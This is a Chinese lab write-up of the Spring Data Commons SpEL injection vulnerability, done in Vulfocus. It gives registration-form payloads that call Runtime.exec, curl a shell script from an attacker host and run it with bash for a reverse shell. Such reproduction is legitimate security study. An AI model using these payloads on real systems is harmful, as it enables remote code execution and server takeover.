标签:getClass Vulfocus spring exec sh 代码执行 Spring password Data
漏洞描述
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
漏洞复现
访问 /user
随便填写,用户注册
把最后一行改成payload:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令代码")]=&password=&repeatedPassword=
想直接ls发现不行
想反弹Shell也不行
把shell脚本写成sh文件,开启一个http服务,让它去下载执行
然后执行
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /tmp/xwl.sh http://vpsip:port/xwl.sh")]=&password=&repeatedPassword=
一开始试了weget,确实下载了,但是不知道怎么不行,所以用了curl
下载成功后
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/xwl/sh")]=&password=&repeatedPassword=
之前weget的也确实下载上了,但是没反弹回来(可能操作有误)
标签:getClass,Vulfocus,spring,exec,sh,代码执行,Spring,password,Data 来源: https://www.cnblogs.com/mlxwl/p/16608973.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。